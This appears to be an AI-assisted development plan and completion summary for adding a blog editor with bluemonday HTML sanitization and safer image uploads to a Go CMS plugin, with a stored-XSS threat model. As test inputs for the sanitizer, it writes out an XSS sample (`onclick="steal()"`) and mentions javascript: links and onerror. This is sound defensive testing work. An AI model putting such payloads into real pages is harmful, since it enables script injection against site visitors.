+16.1 replaced the regex gate with bluemonday v1.0.27 (sm-journal-plugin a3551f2, 0d00ec8, 5f47083): `rejectUnsafe` is gone; `FormatHTML` renders with goldmark and then strips through `SanitizeHTML`; `FormatTranslation` sanitizes per-locale `content_html` on API and import writes; `CheckHTML` refuses whenever the policy would change the HTML. Under the amended D-10, every admin write of post and category content stores the policy's output, never fails because of unsafe markup, and reports what was removed. This plan therefore:
+
+- decodes with `classes.SanitizeHTMLReport` (new) instead of `CheckHTML`, and returns the removals as plan 01's `pact.FormFieldNotice` values;
+- retires the Categories controller's 422 gate (`TestCategoriesAdminContent` now asserts the strip);
+- extends the policy for exactly the editor's own output (amended D-05) and pins it with plan 02's corpus (new Task 3).
+
+Where RESEARCH (Pattern 6, Pitfall 10, Code Example 2, Security Domain) or PATTERNS describe CheckHTML refusing or "no sanitizer", this plan's text wins. The pre-phase sm-journal-plugin head is now c60abc6 (requires summercms v0.1.17).
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Assumptions (explicit)
+
+- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
+- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
+- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
+- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
+- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` (goldmark, then `SanitizeHTML`) and `FormatTranslation` on PHP exports; it is not a form save and reports nothing.
+- **Public API category writes (API parity check, done at planning time):** `routes.go` mounts only `GET /_journal/api/v1/categories`; there is no public category write path, so retiring the admin 422 changes no public contract. The public posts routes keep `FormatHTML` and `FormatTranslation` (D-09); their responses do not change shape.
+- **`classes.CheckHTML` stays exported** (sm-journal-plugin is a tagged module; removing an exported function would be a breaking change for no gain). After this plan no admin or API write path calls it; it remains the predicate counterpart of the layer's `isSafeJournalHtml` and is used by the policy cross-check test. Its doc comment and README row say exactly that.
+- **Removal report:** `SanitizeHTMLReport` aligns the start tags of the input with those of bluemonday's output in order (bluemonday only removes, never adds or reorders). An unmatched input tag is a removed element; a raw attribute name missing from, or with a changed decoded value in, the matched output tag is a removed attribute (a `style` that lost a property counts under `style`); comments count separately; anything else that changed sets `Other`. Its report is empty exactly when the returned string equals the input. Names are distinct, first-seen order, at most 10 per list (counts stay exact).
+- **Policy extension (amended D-05), fixed set shared with plan 04's layer mirror:** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$` (the embed placeholder); `img` `alt` with any value (the editor's alt field takes free text; UGC's Paragraph pattern drops `:`, `?`, `"` and more; an attribute value is escaped on output and carries no URL); `ol` `start` `^[0-9]+$` (TipTap's ordered-list input rule writes it when a list does not start at 1). If plan 02's corpus shows any other attribute the policy strips, stop and report: plans 03 and 04 must add it together, and only if it is not a URL, style, event or iframe attribute.
+- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
+
+## Artifacts this phase produces (this plan)
+
+- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`, `removalNotices`.
+- `classes.SanitizeHTMLReport(doc string) (string, classes.HTMLRemovals)`, `classes.HTMLRemovals{Elements, ElementCount, Attributes, AttributeCount, Comments, Other}` with `Empty() bool`; `SanitizeHTML` becomes the string half of it; `CheckHTML` kept (doc comment updated); `newHTMLPolicy` gains the four editor-output attributes.
+- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
+- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
+- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed`, and the plural notices `golem15.journal::lang.editor.removed_elements`, `removed_attributes`, `removed_comments` and the plain `markup_changed` (en and pl).
+- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
+- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`; `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` in `classes/editor_policy_test.go`.
+- Updated Postgres tests (compiled by vet, run on a Docker host): `TestPostsFormCompiles`, `TestPostsAdminCreateSmoke`, `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`.
+- Decision note amendment in `.planning/notes/journal-html-sanitizing-bluemonday.md` (summercms.go, docs commit).
+
+<objective>
+Wire the Blog Editor into Journal: field types, strip-and-report Decode, Load, post and category fields, admin save hooks, the policy extension for the editor's own output and editor uploads (D-02 to D-10, D-14, D-18, D-19).
+
+Purpose: Journal post and category content are edited with the Blog Editor; an admin save keeps imported HTML intact when nothing is unsafe, strips what is and tells the admin what it removed.
+Output: classes/blog_editor.go, SanitizeHTMLReport and the policy extension in classes/format_html.go, classes/media_store.go, field_types.go, hook changes (posts and categories), fields.yaml switches, lang keys, the policy cross-check test, updated Docker tests, smoke tests, README, decision note amendment.

+Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through its go.mod `replace` and `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is c60abc6 (16.1 shipped a3551f2, 0d00ec8, 5f47083 and c60abc6 after this phase was first planned); acceptance checks below diff against it. The decision note lives in this repository (summercms.go `.planning/notes/`) and is committed there as a separate docs commit.
+
+No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).

+
+Journal code to change (read before editing):
+- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
+- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus the CheckHTML 422. The 422 is retired in Task 2 (D-19 amended); blank to NULL stays.
+- `journal_api_categories_test.go` `TestCategoriesAdminContent` (138): subtests "unsafe create refused" and "unsafe update refused" with `assertContentRefused`; they become strip assertions in Task 2.
+- `posts_admin_smoke_test.go` `TestPostsAdminSaveSanitizesHTML` (159): asserts content stored as submitted and content_html sanitized; under D-02 both columns hold the sanitized HTML (Task 1).
+- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
+- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
+- `classes/format_html.go`: `newHTMLPolicy` (UGC plus footer, class, microdata, four styles, footnote roles, dir, two chat data attributes), `FormatHTML(src string) (string, error)` (goldmark then SanitizeHTML), `SanitizeHTML(doc string) string`, `FormatTranslation(attrs map[string]any) error`, `CheckHTML(doc string) error` (error when the policy would change doc), unexported `sanitizeHTML` (returns doc unchanged when `sameTokens` holds), `sameTokens`, `htmlTokens`, `rawAttrNames` (duplicate attributes count as a change).
+- `classes/format_html_test.go` `unsafePayloads` (the 35 stored-XSS payloads), `classes/check_html_test.go`, `classes/format_translation_test.go`: existing tests that must keep passing.
+- `routes.go`: the public routes (no category write).

+
+Removal report (D-10 amended), in classes/format_html.go: add HTMLRemovals and SanitizeHTMLReport(doc) as described in the assumptions (in-order start-tag alignment; elements, attributes via rawAttrNames so a repeated name counts, comments, Other; at most 10 distinct names per list with exact counts; Empty() is false exactly when the returned string differs from doc). SanitizeHTML returns SanitizeHTMLReport's string, so both share one implementation; FormatHTML, FormatTranslation and CheckHTML keep their behaviour and tests.
+
+classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10 amended, D-04): nil decodes to ""; any other non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; a string goes through SanitizeHTMLReport and the result is pact.FormFieldDecoded{Value: the sanitized string, Notices: removalNotices(report)}, so a value the policy keeps whole is returned byte for byte with no notice. removalNotices emits, in this order and only when non-zero: golem15.journal::lang.editor.removed_elements (Count ElementCount, Params names = the element names joined with ", ", plus "…" when more than 10 were cut), removed_attributes (the same for attributes), removed_comments (Count Comments), markup_changed (Other, no count). Decode never refuses because of markup. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
+

+
+controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).

+  <behavior>
+    - StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
+    - UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
+    - Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
+    - Category content (D-19 amended): models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); Decode strips `<p onclick="steal()">x</p>` to `<p>x</p>` with a removed_attributes notice; prepareCategoryWrite maps blank (including whitespace only) to NULL and accepts every other value it receives, returning no error for markup.
+  </behavior>
+  <action>Finish the Journal half (per D-18, D-19, D-09).
+
+Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
+
+Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
+
+Category (D-19 amended, D-10): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span), so category content goes through the same strip-and-report Decode as posts. In controllers/categories.go, prepareCategoryWrite keeps the blank-to-NULL rule and drops the HTML gate and its 422; its doc comment says category content arrives already sanitized by the blogeditor Decode (D-10 amended, decision note), and that rows written by SQL or import commands are not sanitized here. Remove the classes import if nothing else in the file uses it. API parity: there is no public category write route (routes.go), so no public contract changes; if the executor finds one, it stops and reports instead of changing it.
+
+Postgres test (correctness, compiled by vet, run on a Docker host): in journal_api_categories_test.go TestCategoriesAdminContent, replace the 422 refusal helper with an assertContentStripped helper. "unsafe create refused" becomes "unsafe create stripped": the POST answers 201, the row exists with content `<p>x</p>`, and the response's meta.notices has one entry for field content naming onclick. "unsafe update refused" becomes "unsafe update stripped": the PUT answers 200, the stored content is "x" (bluemonday drops the javascript: href and the bare a element), and meta.notices names the removed a element. The safe create keeps its byte-identical assertion and gains "no notices key in meta"; "blank update stores null" and "posts-only token forbidden" stay as they are.
+
+Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
+
+README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options; what an admin save stores (the sanitized HTML in content and content_html per locale; a value the policy keeps whole is stored byte for byte; anything the policy does not allow is removed and the save names what was removed; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit); that category content follows the same rule and is no longer refused with a 422 (replace the "refuses content that fails classes.CheckHTML" sentence in the categories section); that the public API stays markdown-in (D-09); and editor uploads.

+    - Still stripped and reported: data-embed other than youtube; data-id of 10 or 12 characters or holding a quote, space or angle bracket; data-embed or data-id on div, img or p; any other data attribute on figure; onload on the placeholder figure; an iframe next to a placeholder (the placeholder stays).
+    - img alt with a colon, a question mark and double quotes is kept; an alt whose text contains a double quote followed by an event-handler-like string stays one alt attribute (no new attribute appears in the tokens).
+    - ol start="3" is kept; start="x" on ol and start on ul are stripped.
+    - The 35 unsafePayloads are stripped exactly as before (TestFormatHTMLSanitizesUnsafeHTML unchanged) and the existing CheckHTML table passes unchanged.
+    - SanitizeHTMLReport: a style element, an onclick attribute, a comment, a repeated attribute, a style attribute that loses one property and more than ten distinct removed names each produce the documented report; for every unsafePayload, the imported-post fixture and every corpus entry, report.Empty() is true exactly when the output equals the input.
+  </behavior>
+  <action>Extend the shared policy for exactly the editor's own output (per D-05 amended, D-04, D-10).
+
+In newHTMLPolicy add, each with a comment naming the Blog Editor output (Phase 16.2 D-05) it serves: data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$ on figure only; alt with any value on img only (added next to UGC's Paragraph rule; bluemonday accepts an attribute when any of its rules matches, and escapes the value on output); start matching ^[0-9]+$ on ol only. Add nothing else: no iframe allowance, no blanket data attribute allowance, no target, rel, style property or URL scheme. These are the same four rules plan 04 mirrors in the layer. If the corpus fails on any attribute outside this set, stop and report it (plans 03 and 04 must change together) instead of widening the policy.
+
+classes/editor_policy_test.go: TestEditorOutputPassesPolicy reads ../tests/blogeditor/fixtures/editor-corpus.json with os.ReadFile (a missing or empty file fails the test, never skips) and checks every entry plus the placeholder and negative cases of the behavior block; TestSanitizeHTMLReport covers the report cases and the Empty property, including the imported-post fixture.
+
+Update CheckHTML's doc comment: since Phase 16.2 no admin or API write path refuses with it (admin saves strip and report, D-10 amended); it reports whether the policy would change doc, the counterpart of the layer's isSafeJournalHtml, and the policy cross-check uses it. Extend TestBlogEditorTracerSmoke with the placeholder passing Decode unchanged with no notice.
+
+README.md: the API reference gains SanitizeHTMLReport and HTMLRemovals rows; the CheckHTML row says it is a predicate that no write path refuses with any more; the Posts and policy text lists the four editor-output additions and says admin saves strip and name what they removed.
+
+Decision note (summercms.go): append to the 2026-10-10 amendment a short paragraph and four table rows for the editor-output additions (figure data-embed and data-id, img alt any text, ol start), naming plan 02's corpus as the test that pins them and plan 04 as the layer mirror.

+
+| Boundary | Description |
+|----------|-------------|

+| Journal public API clients → posts and media routes | contract must not change (D-09) |

+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML (posts and categories) | high | mitigate | SanitizeHTMLReport on every locale value cabana decodes (default and non-default), for post and category content alike; the stored value is always the policy's output, never submitted bytes the policy would change; the removal is reported to the admin (no silent loss), and the layer sanitizes again before v-html; smoke and Postgres tests cover script, onerror, onclick and javascript: being stripped with notices and clean HTML staying byte for byte |
+| T-16.2-31 | Tampering (stored XSS) | newHTMLPolicy editor-output extension | high | mitigate | Exactly four additions with the narrowest patterns (figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt as an escaped attribute value, ol start ^[0-9]+$); no iframe, URL, style, event or blanket data attribute; TestEditorOutputPassesPolicy pins the corpus and the negative cases, the 35 existing payload tests stay unchanged (diff check against c60abc6), and the iframe exists only in the layer's rendered page (D-05) |
+| T-16.2-34 | Denial of Service | SanitizeHTMLReport and removal notices | low | mitigate | One pass over two token streams; at most 10 names per list with exact counts, so a body with thousands of removed parts yields at most four short notices (cabana also caps notices, T-16.2-33) |
+| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
+| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
+| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
+| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
+| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |

+# Phase 16.2 Plan 03: Journal Blog Editor integration Summary
+
+**Journal post content (mlblogeditor) and category content (blogeditor) are edited with the Blog Editor; every admin save stores bluemonday's output per locale, byte for byte when nothing is unsafe, writes the same HTML to content and content_html without goldmark, and names what it removed through SanitizeHTMLReport notices; the policy admits exactly the editor's four extra attributes, pinned by the editor corpus, and editor images go through the extracted StoreMedia with a magic-byte check.**
+
+## Performance
+
+- **Duration:** about 13 min
+- **Started:** 2026-10-10T09:58:55Z
+- **Completed:** 2026-10-10T10:12Z
+- **Tasks:** 3 (tracer + 2 TDD expansions)
+- **Files:** 20 in sm-journal-plugin (6 created, 14 modified), 1 decision note in summercms.go
+
+## Accomplishments
+
+- **Removal report (D-10 amended):** `SanitizeHTMLReport(doc) (string, HTMLRemovals)` aligns the input's start tags with bluemonday's output in order; unmatched tags are removed elements, missing, repeated or changed attributes are removed attributes (a `style` that lost a property counts under `style`), comments are counted, `Other` covers anything else. At most ten distinct names per list, exact counts. `SanitizeHTML` is its string half; `FormatHTML`, `FormatTranslation` and `CheckHTML` keep their behaviour.
+- **Field types (D-08, D-14):** `classes.BlogEditorTypes` returns `blogeditor` (uploadFolder) and `mlblogeditor` (htmlColumn, uploadFolder) on `golem15-journal-blogeditor` with the plan 02 bundle; `journal.Plugin.FormFieldTypes` registers them. `checkBlogOptions` checks the options at boot.
+- **Decode / Load / ListValue (D-04, D-07, D-10):** Decode returns the policy output plus `removed_elements`, `removed_attributes`, `removed_comments` and `markup_changed` notices; nil is `""`, a non-string is a `FormFieldError` (`content_invalid`). Load serves HTML as stored and markdown (`LooksLikeHTML` false) as that locale's `content_html`, else `FormatHTML(content)`. ListValue (ctx form) strips tags and cuts at 120 runes.
+- **Admin save path (D-02, D-03):** `preparePostWrite` no longer calls goldmark; it copies the Default `content` write to `ContentHTML`. New `FormAfterCreate`/`FormAfterUpdate` write `content_html` for each non-default written locale through the `TranslationWriter` in the save transaction. Untouched content is not written, so both columns stay byte-identical.
+- **Categories (D-19 amended):** `content` is `blogeditor` with `uploadFolder: categories`; the `CheckHTML` 422 gate is gone, blank still becomes NULL; the field comment (en, pl) says unsafe HTML is removed on save.
+- **Media (D-18, D-09):** `classes.StoreMedia` holds the public route's storage (extensions, 10240 KiB, `/journal/<folder>/<name>`, unique suffix, `attach.PublicURL`); `UploadMedia` keeps auth, permissions, folder and form checks and the same bodies. The editor `Upload` sniffs the first 512 bytes (`http.DetectContentType`), requires a matching JPEG/PNG/GIF/WebP type, builds a safe lowercase name and stores in the field's folder (`editor` by default).
+- **Policy (D-05 amended):** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` any text, `ol` `start` `^[0-9]+$`; nothing else. `CheckHTML` documented as a predicate no write path refuses with.
+- **Docs:** plugin README (field types, admin save rules, category rule, unchanged public API, editor uploads, the four policy rules, API reference rows); decision note amendment with the four table rows (summercms.go `332993c`).
+
+## Task Commits
+
+All code commits are in `../sm-journal-plugin` (branch main):
+
+1. **Task 1: tracer** - `cbf4891` feat(classes): report what the HTML policy removes; `fbd1c85` feat(admin): post content on the Blog Editor field type
+2. **Task 2: categories, uploads, README** - `15fcad7` refactor(api): share media storage with the editor upload; `cb1c688` feat(admin): category content on the Blog Editor and editor image uploads
+3. **Task 3: policy extension** - `2384a61` feat(classes): allow the Blog Editor's own markup in the HTML policy; summercms.go `332993c` docs(16.2): record the editor-output policy extension
+
+## Smoke test output
+
+```
+--- PASS: TestBlogEditorTracerSmoke (13 subtests: compile, type definitions, decode clean, decode placeholder,
+    decode strip with notices, decode nil/non-string, load HTML, load markdown content_html, load FormatHTML fallback,
+    list value, hooks write content_html, hooks leave untouched content, plural phrases)
+--- PASS: TestBlogEditorUploadSmoke (9 subtests: StoreMedia layout, StoreMedia refusals, editor upload safe name,
+    editor upload refusals, missing bucket, category compile, category load, category decode, category hooks)
+--- PASS: TestEditorOutputPassesPolicy (15 corpus entries, placeholder, 18 strip cases, alt, ol start)
+--- PASS: TestSanitizeHTMLReport
+--- PASS: TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestFormatHTMLKeepsRawHTML,
+          TestSanitizeHTML, TestCheckHTML (unchanged since c60abc6)
+--- PASS: TestWriteMediaStoreError, TestMediaObjectPath, TestMediaFolderPatternRejectsDotDot
+```
+
+- `go -C ../sm-journal-plugin vet ./...` clean (compiles the updated Postgres tests).
+- `go test -short ./...`: `classes`, `controllers`, `controllers/api` pass; the root package, `models` and `updates` fail only on `docker.sock: permission denied`.
+- `npx vitest run` 33/33 and `scripts/check-dist.sh` ("assets/dist matches a fresh build") still pass.
+
+## Postgres tests that need a Docker host (plan 06)
+
+- `posts_admin_smoke_test.go`: `TestPostsFormCompiles` (expects `"type":"mlblogeditor"`), `TestPostsAdminCreateSmoke` (HTML content, `ContentHTML == Content`, no `meta.notices`), `TestPostsAdminResaveKeepsHTML` (exact bytes), `TestPostsAdminSaveSanitizesHTML` (save succeeds, both columns sanitized for en host and pl translation, notices name `a, base` and `onerror` per locale).
+- `journal_api_categories_test.go`: `TestCategoriesAdminContent` (schema type `blogeditor`, "unsafe create stripped" 201 + `<p>x</p>` + onclick notice, "unsafe update stripped" 200 + `x` + `a` notice, safe create without notices).
+- `journal_api_task3_test.go` media upload tests (the route now runs through `StoreMedia`), `plugin_test.go`, and a full plugin boot with `FormFieldTypes` (cabana's boot-time asset and alias checks against the embedded `adminFS`).
+
+## TDD Gate Compliance
+
+Tasks 2 and 3 are `tdd="true"`. CLAUDE.md requires `go test ./...` green at every commit, so no failing `test(...)` commit exists; as in plans 01 and 02, RED was run and verified before GREEN and tests were committed with the implementation.
+
+- **Task 2 RED:** compile stubs for `StoreMedia` and the moved helpers, then `TestBlogEditorUploadSmoke` failed on its assertions (`not implemented`, "blogeditor has no Upload") and `TestMediaObjectPath` on its path assertion. `go test -json` was converted to TAP and checked: `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`, target `TestBlogEditorUploadSmoke`). The category subtests were masked by the parent's fatal at RED time; the category schema and hook subtests then failed (type `textarea`, `validation_failed`) after Upload went green and before the category change, and passed after it.
+- **Task 3 RED:** `TestEditorOutputPassesPolicy` failed on 18 subtests (corpus entries with the embed, alt and start; placeholder; the negative cases, whose `want` keeps the placeholder) before the policy change: `RED_EVIDENCE_OK`, target `TestEditorOutputPassesPolicy`. `TestSanitizeHTMLReport` was already green because the report shipped in the Task 1 tracer.
+- **GREEN:** the implementation commits listed above; no refactor commit was needed.
+
+## Decisions Made
+
+See key-decisions in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Plan text] Host and translation locales in TestPostsAdminSaveSanitizesHTML**
+- **Found during:** Task 1
+- **Issue:** The plan says "pl (host) and en (translation)", but the test harness (`bootJournal`) makes `en` the default locale and `pl` the translation.
+- **Fix:** The test asserts the host columns for `en` and `golem15_translate_attributes` for `pl`, and notices for both locales.
+- **Files modified:** posts_admin_smoke_test.go
+- **Commit:** fbd1c85
+
+**2. [Rule 2 - Security] uniqueMediaKey no longer overwrites**
+- **Found during:** Task 2
+- **Issue:** The moved `uniqueMediaKey` returned the original (existing) path when all 999 numbered names were taken, so a write would overwrite an object; the threat model (T-16.2-16) requires that it never overwrites.
+- **Fix:** It returns an error instead (a 500 on the public route in that pathological case only). `StoreMedia` also re-checks the folder rule (MediaError on `folder`), which the route already enforces first, so no response changes.
+- **Files modified:** classes/media_store.go
+- **Commit:** 15fcad7
+
+**3. [Rule 2 - Correctness] Editor upload type must match its extension**
+- **Found during:** Task 2
+- **Issue:** The plan's "first bytes sniff as that image type" needs a rule for names whose extension disagrees with the bytes, or that have none.
+- **Fix:** A sniffed type outside JPEG/PNG/GIF/WebP, or one that differs from an allowed extension's type, is `image_invalid`; a name without an extension gets the sniffed one; a disallowed extension gets StoreMedia's "The file must be an image." `safeUploadName` also trims leading and trailing `-` and `.` (no hidden or dot-only names).
+- **Files modified:** classes/blog_editor.go
+- **Commit:** cb1c688
+
+**4. [Rule 2 - Correctness] Category field comment**
+- **Found during:** Task 2
+- **Issue:** `category.content_comment` (en, pl) told administrators unsafe HTML "is refused", which is no longer true.
+- **Fix:** It now says unsafe HTML is removed on save and the form names what was removed.
+- **Files modified:** lang/en/lang.yaml, lang/pl/lang.yaml
+- **Commit:** cb1c688
+
+**5. Files and shapes outside the plan's lists**
+- `controllers/admin_registry.go` holds the new `pact.FormAfterCreate`/`pact.FormAfterUpdate` assertions next to the controller's other compile-time assertions (commit fbd1c85).
+- `controllers/api/media_test.go` now holds `TestWriteMediaStoreError` (the route's 422 and 500 bodies after the move); the two path tests moved to `classes/media_store_test.go` as planned.
+- `HTMLRemovals` carries two unexported flags recording that a name list was cut, so `removalNotices` can append `, …`.
+- Task 2 committed the refactor (`15fcad7`) before the feature (`cb1c688`) so that each commit builds on its own.
+- `loadBlogHTML` serves `FormatHTML(content)` when no translation writer is published (`Translated` is nil), and serves blank content as it is.
+
+---
+
+**Total deviations:** 4 auto-fixed (1 plan text, 3 correctness/security) plus file and ordering notes. **Impact:** no change to the planned API, the public routes' contract or the four policy rules.
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres tests listed above compile but did not run (recorded in `.planning/WINDOWS.md` as unrun-verify entries 15 and 16).
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Plan 04 mirrors the same four policy rules in the layer and checks the same `editor-corpus.json`; no fifth rule was needed.
+- Plan 05/06: run the Docker-only tests above, then the browser UAT of the editor in the admin (typing, uploads through the cabana route, notices after a stripped save).
+
+## Self-Check: PASSED
+
+- Created files exist in ../sm-journal-plugin: classes/blog_editor.go, classes/media_store.go, classes/media_store_test.go, classes/editor_policy_test.go, field_types.go, controllers/posts_editor_smoke_test.go.
+- Commits exist in ../sm-journal-plugin: cbf4891, fbd1c85, 15fcad7, cb1c688, 2384a61; in summercms.go: 332993c.

+## Phase Goal
+
